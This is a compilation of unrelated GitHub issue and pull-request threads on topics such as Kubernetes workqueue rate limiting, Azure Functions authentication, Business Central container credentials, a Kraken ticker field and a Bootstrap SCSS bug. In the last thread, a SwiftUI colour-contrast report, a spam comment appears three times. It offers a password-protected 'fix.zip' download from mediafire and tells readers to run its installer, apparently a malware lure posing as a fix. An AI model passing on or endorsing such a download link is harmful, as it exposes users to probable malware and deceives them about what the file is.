This bug is due to a workqueue shared under the same resource, and a ratelimit mechanism is added to this workqueue, but we only need to add the ratelimit when retrying fails, and when normal resource changes, we should immediately add the workqueue to be processed .
The new k8s event does not need to use the rate limit.

Codecov Report

Merging #760 (2751876) into master (4a862e2) will decrease coverage by 0.01%.
The diff coverage is 0.00%.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 774077a...2751876. Read the comment docs.

@gxthrj Could you give some details about the fixup?

@gxthrj Could you give some details about the fixup?

This bug is due to a workqueue shared under the same resource, and a ratelimit mechanism is added to this workqueue, but we only need to add the ratelimit when retrying fails, and when normal resource changes, we should immediately add the workqueue to be processed .
The new k8s event does not need to use the rate limit.

This fix cannot solve the problem in some scenarios, for example:
Suppose there are two instances of apisix-ingress-controller. When the leader goes down for some reason and another instance becomes the leader, the new leader will block the resource event due to "client-side throttling" during the list resource phase. Because apisix-ingress-controller has not completed the list stage at this time, the control loop will definitely be blocked

@crazyMonkey1995  Thanks for your report.  We can use #822 for tracking this one.


fix(mongoose): Fix ref decorator when the ref is undefined

Information

Type
Breaking change

Fix
No

:tada: This PR is included in version 6.17.5 :tada:
The release is available on:

v6.17.5
GitHub release

Your semantic-release bot :package::rocket:


Enable Functions protected with Authentication / Authorization to be runnable in the portal

Currently if I enable Authentication / Authorization (Easy Auth) in the portal and set the default action to "Log in with ", I can edit my functions but when I try to run them I get the following:
Authentication is enabled for the function app. Disable authentication before running the function.
It's not ideal for a customer to have to disable their auth protection in order to do debugging. We should support a way for customers to run their functions in spite of the auth wall.  Some thoughts:

Create a mechanism that doesn't require an HTTP request to be sent directly to the function app to run a specific function.
Display a login dialog that the user can use to authenticate with their function app, cache the resulting session token, and then invoke the functions using this token.
Allow the user to copy/paste a token which will grant them access to their function app.

One alternate way would be to have the auth module support a special admin header that causes it to bypass auth. This way we can avoid the need to deal with a token at all. Obviously, this needs to be done in a way that doesn't open any security hole.
Is the auth module something that runs in the sandbox? If so, then it can go after the master key that's stored in D:\home\data\Functions\secrets\host.json.
Separately, we also should think about what it means to turn on auth when the function runtime has its own auth model. I guess the user can set their function to anonymous to only be left with auth module.

This issue also prevents me from monitoring my function / access the logs. (I enabled B2C for my Azure Functions App)

We should remove the UX blocks for this now, as we have resolved the runtime behavior (/admin endpoints are no longer blocked).

@ahmelsayed Please verify that this is fixed in prod.

Work is complete for non-http via /admin. http is out of scope for this issue.


Credentials problem connecting VS Code to container

Used NavContainerHelper to create new container with latest BC image & specified Windows auth, but VS Code project will not download symbols - fails with a credentials error.
Created a new container using this command:
New-NavContainer -containerName D365GB -accept_eula -accept_outdated -assignPremiumPlan -auth Windows -ClientServicesPort 7346 -DeveloperServicesPort 7349 -doNotExportObjectsToText -imageName mcr.microsoft.com/businesscentral/sandbox:gb -alwaysPull -includeCSide -ManagementServicesPort 7345 -memoryLimit 4G -ODataServicesPort 7348 -SoapServicesPort 7347
That processed through, on the way it opened a credentials dialogue with my Windows username already populated & I entered a password (same as my Windows one just to be sure). Processing completed with these messages:
Digest: sha256:651a503722401ff319f69dec84e44f32d2031e39c1ca0bf8a69fe23561c7cc1d
Status: Downloaded newer image for mcr.microsoft.com/businesscentral/sandbox:gb-ltsc2016
Using image mcr.microsoft.com/businesscentral/sandbox:gb-ltsc2016
Creating Nav container D365GB
Version: 14.1.32615.0-GB
Platform: 14.0.32600.0
Generic Tag: <IP_ADDRESS>
Container OS Version: 10.0.14393.2969 (ltsc2016)
Host OS Version: 10.0.17134.765 (1803)
The container operating system does not match the host operating system, forcing hyperv isolation.
Using hyperv isolation
Creating container D365GB from image mcr.microsoft.com/businesscentral/sandbox:gb-ltsc2016
ac5057618ffa17e3b879aa9e5e582492a217a1d7ff2337b1ee9231ead2b25ce7
Waiting for container D365GB to be ready
Initializing...
Starting Container
Hostname is D365GB
PublicDnsName is D365GB
Using Windows Authentication
Starting Local SQL Server
Starting Internet Information Server
Modifying Service Tier Config File with Instance Specific Settings
Starting Service Tier
Registering event sources
Creating DotNetCore Web Server Instance
Enabling Financials User Experience
Creating http download site
Creating Windows user MYNAMEHERE
Setting SA Password and enabling SA
WARNING: This license is not compatible with this version of Business Central.
Creating SUPER user
WARNING: This license is not compatible with this version of Business Central.
WARNING: This license is not compatible with this version of Business Central.
WARNING: This license is not compatible with this version of Business Central.
Assign Premium plan for D365GB\MYNAMEHERE
Container IP Address: [snip]
Container Hostname  : D365GB
Container Dns Name  : D365GB
Web Client          : http://D365GB/NAV/
Dev. Server         : http://D365GB
Dev. ServerInstance : NAV
Files:
http://D365GB:8080/al-3.0.124247.vsix
Initialization took 279 seconds
Ready for connections!
Reading CustomSettings.config from D365GB
Creating Desktop Shortcuts for D365GB
Nav container D365GB successfully created
Using the shortcuts that were created by the process:
Web client - opened OK with no dialogue.
Windows client - failed with no connection to D365GB:7346/NAV - fair enough, expected that
C/SIDE - fails with this message;

And goes to this dialogue:

If I change it to "database server authentication" and put in user "SA" and the password I entered, it will connect and allow me to open the object designer.
Go to VS Code and setup a new project with launch.json like this:

server = DevServer name from container output
serverinstance = DevServerInstance name from container output
port = Developer services port specified in original command line
authentication = Windows as in original command line
All as shown in this link:
https://docs.microsoft.com/en-us/dynamics365/business-central/dev-itpro/developer/devenv-get-started-container-sandbox
Ctrl+Shift+P and clear the credentials cache - OK
Ctrl+Shift+P and select download symbols - FAIL with the message:

Out of desperation, I've tried changing the launch.json authentication to "UserPassword" and it will ask me for the username & password over and over, each time it says:

I've tried it with both my Windows user name & with SA login created by the container helper and the same thing happens.
Now the odd thing is, if I copy/paste the URLs it says it is sending the requests to into a browser, it asks for credentials, so I put in my Windows user name & password and it allows me to download and save the files!
I notice that the launch.json has a "windows" command:

But it's not documented here so I'm not sure if it is any use:
https://docs.microsoft.com/en-us/dynamics365/business-central/dev-itpro/developer/devenv-json-files
So where am I going wrong with all this?

After thinking about this overnight & talking to colleagues, I tried using SQL management studio to create a Windows user in the SQL database. Now that has to be D365GB\MYUSERNAME so that the domain,D365GB, matches what has been used in the container - SQL won't let me use anything else for a Windows user in that database. But it still doesn't work.
But the credentials for my Windows user won't be for domain D365GB will it? So is that why it is being rejected? But if that is the case then the web client shouldn't work either, but it does. So how does that make any sense? Back when the container was being created and it asked for credentials, should I have specified a "domain\user" instead of accepting the default, which was just "user"?
I'm sure I'm missing something here but I can't see what.


FR: Add Ply support

Hi
It would be nice if this addon also supports .ply files.
thanks

Fixed in commit 71fad5dbd4d70c5aa4082b373e048adc97818696
I'll submit a fix for the extension when the custom editor proposed API is approved.


kraken: fetchTicker() does not parse average price

They return average price in p key. In the example below (ticker for BTC/USD) their last 24H average price is 4379.45462.
{   timestamp:<PHONE_NUMBER>399,
     datetime:   "2017-10-07T05:55:11.399Z",
         high:    4422.1,
          low:    4317.1,
          bid:    4380,
          ask:    4383.6,
         vwap:    4379.45462,
         open:    4363.1,
        close:    undefined,
        first:    undefined,
         last:    4381.3,
       change:    undefined,
   percentage:    undefined,
      average:    undefined,
   baseVolume:    2990.7767353,
  quoteVolume:    undefined,
         info: { a: ["4383.60000", "1", "1.000"],
                 b: ["4380.00000", "5", "5.000"],
                 c: ["4381.30000", "0.44914234"],
                 v: ["381.77646860", "2990.77673530"],
                 p: ["4368.30553", "4379.45462"],
                 t: [1489, 8892],
                 l: ["4350.50000", "4317.10000"],
                 h: ["4385.70000", "4422.10000"],
                 o:   "4363.10000"                     } }

@mkutny this issue need a little discussion, from Kraken:
Get ticker information
URL: https://api.kraken.com/0/public/Ticker

Input:

pair = comma delimited list of asset pairs to get info on
Result: array of pair names and their ticker info

<pair_name> = pair name
    a = ask array(<price>, <whole lot volume>, <lot volume>),
    b = bid array(<price>, <whole lot volume>, <lot volume>),
    c = last trade closed array(<price>, <lot volume>),
    v = volume array(<today>, <last 24 hours>),
    p = volume weighted average price array(<today>, <last 24 hours>),
    t = number of trades array(<today>, <last 24 hours>),
    l = low array(<today>, <last 24 hours>),
    h = high array(<today>, <last 24 hours>),
    o = today's opening price
Note: Today's prices start at 00:00:00 UTC

So, it looks like p[1] is not the average, but the vwap, and it's parsed there as vwap, as you can see in your post above (vwap = 4379.45462). So, my question is: is there still something wrong about Kraken tickers, or is it all normal? Looks like normal to me, but I'll wait for your reply. Thx!

Hmm, I somehow overlooked it while opening a bunch of issues. Everything is alright, really sorry for misleading you.

@mkutny no problem, thx anyway for your participation!


Endpoint Suggestions

We are constantly looking to extend the current endpoints and add as many more as we can also.
Feel free to suggest new endpoints by raising a ticket and assigning it to yourself.
Use existing endpoints to see our coding style

Hi, can i solve this issue ?

I would like to add a medical records endpoint to the API

Hi @ageddesi, I would like to add a Books endpoint. Do I need to make a fork of the repo, or just a new branch with commits and a PR?

Hi, just a branch with a PR is perfect. Welcome. Reach out on discord if tou need any help.


Separate blkid in the Linux library checks

Description
libblkid-dev isn't necessarily a dependency of the GTK libraries, so
separate out its check and give it its own message if missing.
Related Issues
Fixes https://github.com/flutter/flutter/issues/63749
Tests
I added the following tests: GTK libraries present, but blkid missing
Checklist
Before you create this PR, confirm that it meets all requirements listed below by checking the relevant checkboxes ([x]). This will ensure a smooth and quick review process.

[x] I read the Contributor Guide and followed the process outlined there for submitting PRs.
[x] I signed the CLA.
[x] I read and followed the Flutter Style Guide, including Features we expect every widget to implement.
[x] I read the Tree Hygiene wiki page, which explains my responsibilities.
[x] I updated/added relevant documentation (doc comments with ///).
[x] All existing and new tests are passing.
[x] The analyzer (flutter analyze --flutter-repo) does not report any problems on my PR.
[x] I am willing to follow-up on review comments in a timely manner.

Breaking Change
Did any tests fail when you ran them? Please read Handling breaking changes.

[x] No, no existing tests failed, so this is not a breaking change.
[ ] Yes, this is a breaking change.

Turns out it did in fact need to be a separate check.


Hook when form gets submitted

Question
Is it possible to have a hook on a field to detect if the form gets submitted?
I need this if i want to use a reusable invisible recaptcha component.
Or is there any docs/example how to use recaptcha V2 (invisible) or V3 in formly (reusable)

instead use a custom validator with updateOn='submit', check the following examples:

usage of updateOn: https://formly.dev/docs/examples/validation/async-validation-update-on
define validator at the root level: https://formly.dev/docs/examples/validation/matching-two-fields


[ISSUES-3627] doSetFlinkConf and doSetVersion are changed in sequence

What changes were proposed in this pull request
Issue Number: close #xxx

Brief change log

Verifying this change

This change is a trivial rework / code cleanup without any test coverage.
(or)
This change is already covered by existing tests, such as (please describe tests).
(or)
This change added tests and can be verified as follows:

Does this pull request potentially affect one of the following parts

Dependencies (does it add or upgrade a dependency): (yes / no)

doSetFlinkConf reads the getVersionOfFirst() method without a version variable value. The reason is that the create method in the FlinkEnvServiceImpl class is caused when the doSetVersion method is called after doSetFlinkConf, so change the order


[GQSP] unmark not so slow "slow" tests

partially addresses #1080

@mpharrigan I unmarked the fast tests and reduced some of the parameters. ptal


error: Target of URI hasn't been generated: 'mockup.g.dart'. (uri_has_not_been_generated at [flutter_theme_from_json] lib/models/mockup.dart:5)

Analyzer Feedback from IntelliJ
Version information

IDEA AI-182.5<IP_ADDRESS>99772
2.2.0-edge.0a7dcf17eb5f2450480527d6ad1e201fb47f1e36
AI-182.5<IP_ADDRESS>99772, JRE 1.8.0_152-release-1248-b01x64 JetBrains s.r.o, OS Mac OS X(x86_64) v10.14.4 unknown, screens 1440x900  Retina

Exception
Dart analysis server, SDK version 2.2.0-edge.0a7dcf17eb5f2450480527d6ad1e201fb47f1e36, server version 1.23.0, FATAL error: Failed to handle request: {id: 3, method: analysis.setAnalysisRoots, params: {included: [/Users/tap3/Documents/Flutter/code/flutter_theme_from_json], excluded: [/Users/tap3/Documents/Flutter/code/flutter_theme_from_json/.idea, /Users/tap3/Documents/Flutter/code/flutter_theme_from_json/.dart_tool, /Users/tap3/Documents/Flutter/code/flutter_theme_from_json/.idea, /Users/tap3/Documents/Flutter/code/flutter_theme_from_json/.pub, /Users/tap3/Documents/Flutter/code/flutter_theme_from_json/build]}, clientRequestTime:<PHONE_NUMBER>745}
NoSuchMethodError: The getter 'fullName' was called on null.
Receiver: null
Tried calling: fullName
#0      Object.noSuchMethod (dart:core/runtime/libobject_patch.dart:50:5)
#1      _DartNavigationComputerVisitor._addUriDirectiveRegion (package:analysis_server/src/domains/analysis/navigation_dart.dart:361:47)
#2      _DartNavigationComputerVisitor.visitPartDirective (package:analysis_server/src/domains/analysis/navigation_dart.dart:232:5)
#3      PartDirectiveImpl.accept (package:analyzer/src/dart/ast/ast.dart:9573:49)
#4      _DartNavigationComputerVisitor.visitCompilationUnit (package:analysis_server/src/domains/analysis/navigation_dart.dart:149:12)
#5      CompilationUnitImpl.accept (package:analyzer/src/dart/ast/ast.dart:2558:49)
#6      computeDartNavigation (package:analysis_server/src/domains/analysis/navigation_dart.dart:28:10)
#7      ServerContextManagerCallbacks._computeNavigationParams (package:analysis_server/src/analysis_server.dart:1034:5)
#8      ServerContextManagerCallbacks.addAnalysisDriver.<anonymous closure>.<anonymous closure> (package:analysis_server/src/analysis_server.dart:843:19)
#9      new Future.<anonymous closure> (dart:async/future.dart:176:37)
#10     _rootRun (dart:async/zone.dart:1120:38)
#11     _CustomZone.run (dart:async/zone.dart:1021:19)
#12     _CustomZone.runGuarded (dart:async/zone.dart:923:7)
#13     _CustomZone.bindCallbackGuarded.<anonymous closure> (dart:async/zone.dart:963:23)
#14     _rootRun (dart:async/zone.dart:1124:13)
#15     _CustomZone.run (dart:async/zone.dart:1021:19)
#16     _CustomZone.bindCallback.<anonymous closure> (dart:async/zone.dart:947:23)
#17     Timer._createTimer.<anonymous closure> (dart:async/runtime/libtimer_patch.dart:21:15)
#18     _Timer._runTimers (dart:isolate/runtime/libtimer_impl.dart:382:19)
#19     _Timer._handleMessage (dart:isolate/runtime/libtimer_impl.dart:416:5)
#20     _RawReceivePortImpl._handleMessage (dart:isolate/runtime/libisolate_patch.dart:171:12)

For additional log information, please append the contents of
file:///private/var/folders/qn/v1jdq8dn7_5_p1n5kjmdc10h0000gn/T/report.txt.

Thanks for reporting this issue!  This was previously reported in https://github.com/dart-lang/sdk/issues/36182; it  should be fixed now in a recent release  of Dart.


add InteractiveBrowserCredential as an option for getting token

currently I used this for getting token when other methods fail
os.environ['azure_storage_token'.upper()] = InteractiveBrowserCredential().get_token("https://storage.azure.com/.default").token
delta_rs will use that environment variable, not need to add storage_option

yes, understand, it is very annoying that it does not works in a notebook, but it works in my laptop


v4 Alpha - scss/_progress.scss triple colon

The latest build of v4 Alpha fails to compile for me because of triple colons on a psuedo element in the following file.
scss/_progress.scss - line 34
.progress[value]::-webkit-progress-value:::before {
Looks like it was recently added on this commit. - https://github.com/twbs/bootstrap/commit/d51f0a4f816534e8c39ff58d8d4c562d2dd568fb
Is this on purpose, or is this a bug?

Crap. /me goes to yell at sublime text for not finding all my :::before's when searched

Fixed by #17289.


Fixed links in cluster-components

Leading slash missing from two links.
Removed redundant .md for consistency with links below.

I signed it!

Thank you!


Superadmins

This PR implements super-users and includes an admin middleware.
To be included is the UI to make other users admins.

I pushed a commit to this PR to use mirage < 4.7.0 and albatross < 2.2.0. let's make the upgrade to the next version of mirage & albatross in a separate PR.

that's fine to merge, or do you plan to include the UI (toggle admin status) in this PR?

that's fine to merge, or do you plan to include the UI (toggle admin status) in this PR?

I have the base UI ready. Now just need to add the admin toggle functionality.
It's almost the same code as the activation toggle

that's fine to merge, or do you plan to include the UI (toggle admin status) in this PR?

I have the base UI ready. Now just need to add the admin toggle functionality. It's almost the same code as the activation toggle

@hannesm I think we can merge now

thanks a lot, merged. sorry for the delay.


Color contrast issue on code snippet for SwiftUI

Describe the bug
There's a color contrast issue on a code snippet where a part of the code is not readable in light mode.
To reproduce

Go to https://appt.org/en/docs/swiftui/samples/accessibility-value in light mode
Scroll down to the Swift snippet
The "progress" in the snippet is light gray on white and not readable.

Expected behavior
It should probably be black, since on dark mode the "progress" variable has the same color as the other "progress" in the code snippet.
Screenshots
Light Mode:

Dark Mode:

System
Please provide the following information:

Device: Macbook Pro
OS: macOS
OS version: 14.6.1
Browser Chrome
Browser version: 127.0.6533.120

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Hi @lisaklein & @laylahoogeveen thanks for fixing this!
Just deployed the changes to production. @fbernutz thanks again for letting us know. You might need to force refresh the CSS to see the change.